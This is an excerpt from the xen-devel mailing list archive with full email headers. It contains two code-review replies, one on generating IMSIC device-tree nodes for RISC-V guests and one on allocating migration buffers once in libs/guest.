	KhwGkuJIIkVILByvY2nTx+MlkZxSB2Ca2HEqiwE+N9Xs8o6mFmnLxweQ
X-Gm-Gg: AfdE7ck3FRxABGDa0dCcyRqiSyrV2Y49Z1sXMFixpKZsoELWRwptmOLrqQbW+BQZXvs
	2ze8dOECUQ283WnK/OQ/Dh4B1k024XKiEhpyQ96eAZKynIY8MylQTlx6ou5jEWLY2EPbJurM7w6
	cIdio37vj4F8JZIpLIAKh87V7j97q4DpevkAtn053TgvdUILAVjqNhzN8aWE9lFEdAblA9qeT7J
	iPeNCJFxBRqXPj3M27/QfUFlSpZnlWKRubooEpYTNhZLDXqjPXWVkWXqVHhuH4pHBmupzx7nKKg
	z8+qUSOi1zL/7BL3vtutifYyhpcOacTw8+vgT1AVKgaPLctf8e/reZ/HAl//HmEI0Q0vFvL8H5U
	W672Y6ENRiA4Ycq0QRo87Cq4rp/18DVe2CdqPVoF1dTtmuKHjdpC6A8B2jaWUGcw+lFVN363nAh
	z3nMZWF9zDwdvmD+b7ioqtHzUJ88X/o5DvYIG8uZKL8+tPAcagG2229JnhyWvr5P1FUZ8=
X-Received: by 2002:a05:600c:6692:b0:490:d354:bd00 with SMTP id 5b1f17b1804b1-493c2b90632mr18178965e9.25.1782904893118;
        Wed, 01 Jul 2026 04:21:33 -0700 (PDT)
Message-ID: <018771c4-043d-4b29-ac40-284ee8692334@gmail.com>
Date: Wed, 1 Jul 2026 13:21:31 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 19/25] xen/riscv: generate IMSIC DT node for guest
 domains
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <424c223b97e9d27aa4ef4e05e2d5c8d0c426324c.1782487661.git.oleksii.kurochko@gmail.com>
 <77d3cf2c-3ed7-45f8-8e76-72520e71306b@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <77d3cf2c-3ed7-45f8-8e76-72520e71306b@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1782904893-C553968D-055D0C2C/10/73395122804
X-purgate-type: spam
X-purgate-size: 4806



On 6/29/26 5:19 PM, Jan Beulich wrote:
> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>> --- a/xen/arch/riscv/imsic.c
>> +++ b/xen/arch/riscv/imsic.c
>> @@ -13,8 +13,12 @@
>>   #include <xen/const.h>
>>   #include <xen/cpumask.h>
>>   #include <xen/device_tree.h>
>> +#include <xen/domain.h>
>>   #include <xen/errno.h>
>> +#include <xen/fdt-domain-build.h>
>> +#include <xen/fdt-kernel.h>
>>   #include <xen/init.h>
>> +#include <xen/libfdt/libfdt.h>
>>   #include <xen/macros.h>
>>   #include <xen/sched.h>
>>   #include <xen/smp.h>
>> @@ -34,6 +38,16 @@ static struct imsic_config imsic_cfg = {
>>       .lock = SPIN_LOCK_UNLOCKED,
>>   };
>>   
>> +/*
>> + * Number of MSIs available to a guest. Determined by the host interrupt
>> + * controller, so it is identical for every domain -- hence a single global
>> + * rather than a per-domain value.
>> + */
>> +static unsigned int __read_mostly guest_num_msis;
>> +
>> +#define GUEST_IMSIC_COMPATIBLE "riscv,imsics"
>> +#define GUEST_IMSIC_NUM_MSIS 255
> 
> Considering its use this isn't named correctly - it's not the number of MSIs
> guests get to use.

I will rename to GUEST_IMSIC_NUM_IDS then it will be fully aligned with 
dts property name.

Then it makes sense to rename guest_num_msis to guest_num_ids.

> 
>> @@ -285,6 +299,11 @@ static int imsic_parse_node(const struct dt_device_node *node,
>>           return -ENOENT;
>>       }
>>   
>> +    if ( dt_property_read_u32(node, "riscv,num-guest-ids", &tmp) )
>> +        guest_num_msis = tmp;
>> +    else
>> +        guest_num_msis = IMSIC_MAX_ID;
> 
> Why is guest_num_msis __read_mostly, not __ro_after_init? Merely because the
> function here (wrongly) isn't __init?

Yes, because of the function isn't __init what I can agree is wrong. I 
will change that and s/__read_mostly/__ro_after_init for guest_num_msis.

> 
>> @@ -522,3 +541,121 @@ int __init imsic_init(const struct dt_device_node *node)
>>   
>>       return rc;
>>   }
>> +
>> +static int __init guest_imsic_make_reg_property(struct domain *d, void *fdt)
>> +{
>> +    paddr_t size = IMSIC_MMIO_PAGE_SZ * d->max_vcpus;
>> +    __be32 regs[4] = {
>> +        cpu_to_be32(GUEST_IMSIC_S_BASE >> 32),
>> +        cpu_to_be32(GUEST_IMSIC_S_BASE),
>> +        cpu_to_be32(size >> 32),
>> +        cpu_to_be32(size),
>> +    };
>> +
>> +    return fdt_property(fdt, "reg", regs, sizeof(regs));
>> +}
>> +
>> +static int __init guest_imsic_set_interrupt_extended_prop(struct domain *d,
>> +                                                          void *fdt)
>> +{
>> +    unsigned int cpu, pos = 0;
>> +    __be32 *irq_ext;
>> +    int res;
>> +
>> +    irq_ext = xvzalloc_array(__be32, d->max_vcpus * 2);
>> +    if ( !irq_ext )
>> +        return -ENOMEM;
>> +
>> +    for ( cpu = 0; cpu < d->max_vcpus; cpu++ )
>> +    {
>> +        char buf[64];
>> +        uint32_t phandle;
>> +
>> +        snprintf(buf, sizeof(buf), "/cpus/cpu@%u/interrupt-controller", cpu);
> 
> May I, btw, suggest you get into the habit of using ARRAY_SIZE() in favor of
> sizeof() with snprintf()? That's because sizeof() isn't correct to use if
> wide strings (and hence swnprintf()) come into play.

Oh, right with wchar_t buf[64] sizeof(buf) won't return 64...

I will apply your suggestion and use ARRAY_SIZE() here instead.

> 
>> +int __init vimsic_make_domu_dt_node(struct kernel_info *kinfo,
>> +                                    unsigned int *phandle)
>> +{
>> +    int res;
>> +    void *fdt = kinfo->fdt;
>> +    char vimsic_name[32];
>> +    unsigned int vimsic_phandle;
>> +    unsigned int num_msis = min(GUEST_IMSIC_NUM_MSIS + 0U, guest_num_msis);
> 
> As guest_num_msis (supposedly) doesn't change anymore after it was set, why
> would this need calculating again for each call here? Can't you apply the
> upper bound right in imsic_parse_node()?

Agree, I will add the following to imsic_parse_node() after 
guest_num_msis is init-ed:

guest_num_msis = min(GUEST_IMSIC_NUM_MSIS + 0U, guest_num_msis);

> 
>> --- a/xen/arch/riscv/include/asm/guest-layout.h
>> +++ b/xen/arch/riscv/include/asm/guest-layout.h
>> @@ -3,6 +3,12 @@
>>   
>>   #include <public/xen.h>
>>   
>> +/*
>> + * Base address of the guest's supervisor-mode IMSIC. The value is the address
>> + * typically used for IMSIC by QEMU.
>> + */
>> +#define GUEST_IMSIC_S_BASE _UL(0x28000000)
> 
> As you mention it explicitly: Is there also a user-mode IMSIC?

I am not aware of such.

I mention it explicitly as machine mode IMSIC exists and it is a 
separate DT node for that.

Out of scope: there is a reserved bit in MISA register for user-level 
interrupts but I don't see that AIA uses that bit.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:34:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:34:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349820.1607454 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetCu-00062y-Tv; Wed, 01 Jul 2026 11:34:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349820.1607454; Wed, 01 Jul 2026 11:34:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetCu-00062r-R3; Wed, 01 Jul 2026 11:34:20 +0000
Received: by outflank-mailman (input) for mailman id 1349820;
 Wed, 01 Jul 2026 11:34:19 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wetCt-00062l-4N
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:34:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wetCs-009c0c-Ga
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:34:18 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a44fb36-e002-0a2a0a5209dd-0a2a450682de-24
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:34:18 +0200
Received: from [52.101.56.7]
 (helo=BN1PR04CU002.outbound.protection.outlook.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a44fb38-08de-0a2a45060019-346538075e3b-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:34:17 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by LV4PR03MB8356.namprd03.prod.outlook.com (2603:10b6:408:2de::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.19; Wed, 1 Jul
 2026 11:34:15 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0159.018; Wed, 1 Jul 2026
 11:34:15 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ebCvYSWL0OI4LV6cns9tdyQ9HP0SDXCarU26GQkrW18PRMO/8LwtFfWCWx243JOTEEIl08Co+c3T//12++PI+5BN6qmf4lvoFK2F2+m9Lxx8RpiOs6Ap4rYkvBysoXIoK4e+V3x2TfkaP9jUDdRLVM+pP+Owbhcc0hzwdiGxtkgeZybE6wA5fc5kyVdkBKSspSJ33dhhTePf/k7hwJ8ipehOaJygVDM6rSKlDyez1AvrP/+PlVspKSBQ1V9COCbqX6mUch4TTkU67EkaQ8fnlnVEw8rQtQFLF+se5mYq9tu/8KIVxVW+4dLHW8Kq3xeSjX1x9h8I4QZZMvfOcfADlA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Ap7FD2WZLt2K+DThBlbMj7O+NP6IwDUgnGaQtYDhBks=;
 b=s8xlHbINMNDyLMkf1YrlgSf1ETxjMChHn0+zexZRM85xFjrUMl1ukt1wWPJ1OAWPzt1hG2Y/++Ja/0N4emeiiGOqPVmeiclWR9o44pRl6Ykr3jUlMxeuGJW8jbnnr27ywjFNrSwrCHmxWzcbL6ifN91zNAWhIzLrSkOmYOHQBOpmPPjvG5KhGbX2Z+0FDZ0ZvpDW2UXMU36dkm/kGScXYByaSA9Rfu02tuaoSLFNbtsOmrLXuNOlhYqsUz12RDli8onbWA/yFCFQ8ALzCfffXJEgG0plwU4GsyqEJTOh958MVMcCLOHIout4GO83CHl0cgJhg/x28xwHdKf+MVp1CA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Ap7FD2WZLt2K+DThBlbMj7O+NP6IwDUgnGaQtYDhBks=;
 b=BaizO17sGMgiLtBF11n4ma9ZUEfojtnvutwEvIzFQePVwGRWPzUf0EJAUs/MsBvFSfFyhxqHnUQD6bmMYcAmS6rLyojKVVJb1QoxXbnTfoSZwzL0DqzNPoG9dQOTA8dfIldk3Eu2ffSQwnMd+inCSEshfG8iHcfd5NwjepoeJpQ=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <3c7ef127-83cb-4498-b4b9-c998a9ea96b9@citrix.com>
Date: Wed, 1 Jul 2026 12:34:11 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?B?RWR3aW4gVMO2csO2aw==?= <edwin.torok@citrix.com>,
 Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>, Juergen Gross <jgross@suse.com>,
 Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v6 05/16] libs/guest: allocate various migration arrays
 just once
To: Frediano Ziglio <freddy77@gmail.com>, xen-devel@lists.xenproject.org
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-6-frediano.ziglio@citrix.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5O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5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20260619130501.272832-6-frediano.ziglio@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO2P123CA0091.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:139::6) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|LV4PR03MB8356:EE_
X-MS-Office365-Filtering-Correlation-Id: 4ac4a882-b144-4775-1719-08ded764ae2f
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|56012099006|4143699003|11063799006|6133799003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	DCRM7mX51iB4S68ObTgYZ3pUeZ5LwwTEE4xLOE4X+FGogR/94R9fy4P0nKiuOLpcKeHkus+cy6BbgArOofJsY/p9bbVO2S9YntmJXb9ibPmoufIo5WsYaCKphFQfaPsuLH1WjGxcEI1iwbrwlIpu9zZo94tPSi7PjGLkibawrbOrUPV5Hj5qimCBELVixLFGf5m4V0Q9d9pXbN8vDJjKj8A1vbFywpBr+i7rAxGCp+ORHBFTWcOEDnFKCGME6Qs5wMEBYaBIbAVWEMaYDOR7Rjj+fOJXjwPLglKmOoJkLCtEGEgtrF168EPS3QGyvans3P0XRtEdfbPSlWGjUvsQgy83F7oNGXqKcjBQ6zJXW8/C9mVpCjebLB9pBG7A3XkDXtpinU4AQx/Ue4H0kpgFhx/7jlg2MS+1W4XDwc4L9fzEESqNjcH0fVMKoXTdgtzOL0N87fD2SP45zh99/kbQsJnUMDntGYlZv9jCLgd5dmADnZY20cTodbMGSQ7w9zbykVG3/qJURlRD4FVq6/3lOi0YblEtIXZoi5g+dkmyREsDdeGfkGdsc7gNLk4reN8+4kBNKIWnZjWxP4txLoCJJnb6TY71XxRX8BWHSjxPo+9k7wnvY67pmSj7RKAC+aEZ8bR9UIvX1kTRVI2IeW7OCPb64rvrgXmEt7Xq7QkwSms=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(56012099006)(4143699003)(11063799006)(6133799003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?SWlVSHZoRHArOFN3KzhhQW5TTUN2by8vR2wxdStXYXFXR29VSm1udkZ5d3gx?=
 =?utf-8?B?TFFRc2NIZFFha3RYMWMzdFhKekJaS2NUTnVyZm9rbHZWeERmNURwVzZlTmJF?=
 =?utf-8?B?RGlSWDRVR3dCcmdrS3NRVTVJWW9EUVpiQ2xFeDVLR1NnRmV1aGYvYlBRS0xE?=
 =?utf-8?B?UzdmdTZlRndhV3phMkhiYXkwRUI2enVlaDR4cmh5WEZkanUreHU3Zmw4R0E1?=
 =?utf-8?B?SngzS2JpMWVsd2pUT0dRMnhBWHpzTGVhUnJmb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nNZV0NrZlZZbWlqL0U4RVY4NmVDNzlPbWozZjk0?=
 =?utf-8?B?NFhLUHo4YXcvWUNGRGZQeW1JTVpWZ1pUT1V2STZBTU1HMnpEdDlIUmNhRHR3?=
 =?utf-8?B?cVR4V2RrL2Y3MkoxWlZwemg2ZmZkSlhLU3Z1a2J0N2R1cUVSd08xcm5UdVp1?=
 =?utf-8?B?YWtjb1BZNnlwSzVwSEVSWDIzd2dwbU83M1lLdTQ4R3VrRDZrRkhBV28zS3Nv?=
 =?utf-8?B?M2xHcDNHdE5FVkhEQS9iMmdaUUVxalM2bWRWeUN1MDZiQTBUL29qZjhXNHhX?=
 =?utf-8?B?dGNQZHEwbjBzdGZVVWdkZ2xqbm5OYW5pN0lKOUIyMHdKdC9TZFA4UkxxWXNv?=
 =?utf-8?Q?ArYQ5lOSnNzfBb5Q=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 4ac4a882-b144-4775-1719-08ded764ae2f
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2026 11:34:15.3638
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: cJ5IjyFf0egS/jwycfYCG9U+fN3E/Q13JH4OAmJhls3sFD1Ja8YFvWkAnzl/f2v01Z0HLXIzgDn3DgrDf5VaFl7Una3AWq9lBds/5ewgOUM=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV4PR03MB8356
X-purgate-ID: tlsNG-16d1c6/1782905657-C533668D-054898D8/0/0
X-purgate-type: clean
X-purgate-size: 8336

On 19/06/2026 2:04 pm, Frediano Ziglio wrote:
> From: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>
>
> Allocate these array just once at the start of migration,
> using the maximum batch size, and free them at the end.
>
> Signed-off-by: Edwin TÃ¶rÃ¶k <edwin.torok@citrix.com>
> Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>

The reason why these are allocated and freed on every iteration is so
they show up as uninitialised to valgrind or ASAN.

Maybe that's overly cautious, and maybe we can relax it, but it's also
not as if these allocations/frees are anywhere but in the noise on this
path.

> --
> Changes since v2:
> - change prefix in subject.
>
> Changes since v3:
> - fix comment style
>
> Changes since v4:
> - change order of fields in structure.
> ---
>  tools/libs/guest/xg_sr_common.h | 13 +++++++
>  tools/libs/guest/xg_sr_save.c   | 66 +++++++++++++--------------------
>  2 files changed, 39 insertions(+), 40 deletions(-)
>
> diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
> index f1573aefcb..95b0564e5c 100644
> --- a/tools/libs/guest/xg_sr_common.h
> +++ b/tools/libs/guest/xg_sr_common.h
> @@ -209,6 +209,18 @@ static inline int update_blob(struct xc_sr_blob *blob,
>      return 0;
>  }
>  
> +struct xc_sr_context_save_buffers
> +{
> +    xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
> +    xen_pfn_t mfns[MAX_BATCH_SIZE];
> +    xen_pfn_t types[MAX_BATCH_SIZE];
> +    void *guest_data[MAX_BATCH_SIZE];
> +    void *local_pages[MAX_BATCH_SIZE];
> +    struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
> +    uint64_t rec_pfns[MAX_BATCH_SIZE];
> +    int errors[MAX_BATCH_SIZE];
> +};
> +
>  struct xc_sr_context
>  {
>      xc_interface *xch;
> @@ -244,6 +256,7 @@ struct xc_sr_context
>              unsigned long *deferred_pages;
>              unsigned long nr_deferred_pages;
>              xc_hypercall_buffer_t dirty_bitmap_hbuf;
> +            struct xc_sr_context_save_buffers *buffers;

Please move the higher hunk down here, as:

Â  Â  struct xc_sr_context_safe_buffers {
Â  Â  Â  Â  ...
Â  Â  } *buffers;


This helps keep related content together.

(I'm half tempted to say they don't even need a second memory
allocation, but right now xc_sr_context is 538 bytes, and this buffer
object is nearly 16k which we don't really want to be adding as overhead
to the restore side.)

>          } save;
>  
>          struct /* Restore data. */
> diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
> index 8c31f9f86c..4988d8040b 100644
> --- a/tools/libs/guest/xg_sr_save.c
> +++ b/tools/libs/guest/xg_sr_save.c
> @@ -86,16 +86,16 @@ static int write_checkpoint_record(struct xc_sr_context *ctx)
>  static int write_batch(struct xc_sr_context *ctx)
>  {
>      xc_interface *xch = ctx->xch;
> -    xen_pfn_t *mfns = NULL, *types = NULL;
> +    xen_pfn_t *mfns, *types;
>      void *guest_mapping = NULL;
> -    void **guest_data = NULL;
> -    void **local_pages = NULL;
> -    int *errors = NULL, rc = -1;
> +    void **guest_data;
> +    void **local_pages;
> +    int *errors, rc = -1;
>      unsigned int i, p, nr_pages = 0, nr_pages_mapped = 0;
>      unsigned int nr_pfns = ctx->save.nr_batch_pfns;
>      void *page, *orig_page;
> -    uint64_t *rec_pfns = NULL;
> -    struct iovec *iov = NULL; int iovcnt = 0;
> +    uint64_t *rec_pfns;
> +    struct iovec *iov; int iovcnt = 0;
>      struct {
>          struct xc_sr_rhdr rec;
>          struct xc_sr_rec_page_data_header page_data;
> @@ -104,26 +104,24 @@ static int write_batch(struct xc_sr_context *ctx)
>      };
>  
>      assert(nr_pfns != 0);
> +    assert(nr_pfns <= MAX_BATCH_SIZE);
> +    assert(ctx->save.buffers);
>  
>      /* Mfns of the batch pfns. */
> -    mfns = malloc(nr_pfns * sizeof(*mfns));
> +    mfns = ctx->save.buffers->mfns;
>      /* Types of the batch pfns. */
> -    types = malloc(nr_pfns * sizeof(*types));
> +    types = ctx->save.buffers->types;
>      /* Errors from attempting to map the gfns. */
> -    errors = malloc(nr_pfns * sizeof(*errors));
> +    errors = ctx->save.buffers->errors;
>      /* Pointers to page data to send.  Mapped gfns or local allocations. */
> -    guest_data = calloc(nr_pfns, sizeof(*guest_data));
> +    guest_data = ctx->save.buffers->guest_data;
> +    memset(guest_data, 0, sizeof(*guest_data) * nr_pfns);
>      /* Pointers to locally allocated pages.  Need freeing. */
> -    local_pages = calloc(nr_pfns, sizeof(*local_pages));
> +    local_pages = ctx->save.buffers->local_pages;
> +    memset(local_pages, 0, sizeof(*local_pages) * nr_pfns);
>      /* iovec[] for writev(). */
> -    iov = malloc((nr_pfns + 2) * sizeof(*iov));
> -
> -    if ( !mfns || !types || !errors || !guest_data || !local_pages || !iov )
> -    {
> -        ERROR("Unable to allocate arrays for a batch of %u pages",
> -              nr_pfns);
> -        goto err;
> -    }
> +    iov = ctx->save.buffers->iov;
> +    rec_pfns = ctx->save.buffers->rec_pfns;

These two hunks are rather messy.Â  You don't actually need the first
hunk at all; the pointers can all start initialised to NULL.

Alternatively, if you want to avoid the redundant assignments, then
split the variable block in half and list the second half as /*
shorthand names for the buffers */ or somesuch.Â  This will need to come
ahead of the asserts().

But if you're going to try cleaning this up, please do it in a separate
patch.

>  
>      for ( i = 0; i < nr_pfns; ++i )
>      {
> @@ -209,14 +207,6 @@ static int write_batch(struct xc_sr_context *ctx)
>          }
>      }
>  
> -    rec_pfns = malloc(nr_pfns * sizeof(*rec_pfns));
> -    if ( !rec_pfns )
> -    {
> -        ERROR("Unable to allocate %zu bytes of memory for page data pfn list",
> -              nr_pfns * sizeof(*rec_pfns));
> -        goto err;
> -    }
> -
>      hdrs.rec.length = sizeof(hdrs.page_data);
>      hdrs.rec.length += nr_pfns * sizeof(*rec_pfns);
>      hdrs.rec.length += nr_pages * PAGE_SIZE;
> @@ -267,17 +257,13 @@ static int write_batch(struct xc_sr_context *ctx)
>      rc = ctx->save.nr_batch_pfns = 0;
>  
>   err:
> -    free(rec_pfns);
>      if ( guest_mapping )
>          xenforeignmemory_unmap(xch->fmem, guest_mapping, nr_pages_mapped);
>      for ( i = 0; local_pages && i < nr_pfns; ++i )
> +    {
>          free(local_pages[i]);
> -    free(iov);
> -    free(local_pages);
> -    free(guest_data);
> -    free(errors);
> -    free(types);
> -    free(mfns);
> +        local_pages[i] = NULL;
> +    }

Given this NULL-ing, the memset earlier shouldn't be needed.

Along with a memset() over guest_mapping, that gets rid of all the early
memset()'s I think.

>  
>      return rc;
>  }
> @@ -806,18 +792,18 @@ static int setup(struct xc_sr_context *ctx)
>  
>      dirty_bitmap = xc_hypercall_buffer_alloc_pages(
>          xch, dirty_bitmap, NRPAGES(bitmap_size(ctx->save.p2m_size)));
> -    ctx->save.batch_pfns = malloc(MAX_BATCH_SIZE *
> -                                  sizeof(*ctx->save.batch_pfns));
>      ctx->save.deferred_pages = bitmap_alloc(ctx->save.p2m_size);
> +    ctx->save.buffers = calloc(1, sizeof(*ctx->save.buffers));
>  
> -    if ( !ctx->save.batch_pfns || !dirty_bitmap || !ctx->save.deferred_pages )
> +    if ( !dirty_bitmap || !ctx->save.deferred_pages || !ctx->save.buffers)
>      {
> -        ERROR("Unable to allocate memory for dirty bitmaps, batch pfns and"
> -              " deferred pages");
> +        ERROR("Unable to allocate memory for dirty bitmaps, deferred pages"
> +              " and various batch buffers");
>          rc = -1;
>          errno = ENOMEM;
>          goto err;
>      }
> +    ctx->save.batch_pfns = ctx->save.buffers->batch_pfns;

This is wonky.Â  As far as I can tell, you've included batch_pfns in the
buffers struct, but left it's old pointer in place, meaning it becomes
dangling when the allocation is freed.

This wants splitting into two patches.Â  First introduce the buffers
struct with batch_pfns moved only, and sort out the allocation here.Â 
Then in the subsequent patch, move the contents of write_batch() into
the buffers struct.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:40:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
